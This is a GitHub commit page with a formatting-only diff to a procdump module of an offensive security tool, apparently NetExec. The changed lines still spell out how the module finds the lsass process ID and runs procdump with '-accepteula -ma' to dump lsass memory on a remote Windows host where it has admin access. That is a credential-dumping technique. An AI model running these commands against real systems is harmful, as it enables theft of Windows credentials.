Skip to content

Commit 1f06f55

Browse files
committed
Formatting
1 parent 5c2d42c commit 1f06f55

1 file changed

Lines changed: 4 additions & 5 deletions

File tree

nxc/modules/procdump.py

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -64,11 +64,10 @@ def on_admin_login(self, context, connection):
6464
context.log.fail(f"Error writing file to share {self.share}: {e}")
6565

6666
# get pid lsass
67-
command = 'tasklist /v /fo csv | findstr /i "lsass"'
68-
context.log.display(f"Getting lsass PID {command}")
69-
p = connection.execute(command, True)
67+
context.log.display("Getting lsass PID")
68+
p = connection.execute('tasklist /v /fo csv | findstr /i "lsass"', True)
7069
pid = p.split(",")[1][1:-1]
71-
command = self.tmp_dir + self.procdump + " -accepteula -ma " + pid + " " + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
70+
command = f"{self.tmp_dir}{self.procdump} -accepteula -ma {pid} {self.tmp_dir}%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
7271
context.log.display(f"Executing command {command}")
7372
p = connection.execute(command, True)
7473
context.log.debug(p)
@@ -77,7 +76,7 @@ def on_admin_login(self, context, connection):
7776
context.log.success("Process lsass.exe was successfully dumped")
7877
dump = True
7978
else:
80-
context.log.fail("Process lsass.exe error un dump, try with verbose")
79+
context.log.fail("Process lsass.exe error while dumping, try with verbose")
8180

8281
if not dump:
8382
self.delete_procdump_binary(connection, context)

0 commit comments

Comments
 (0)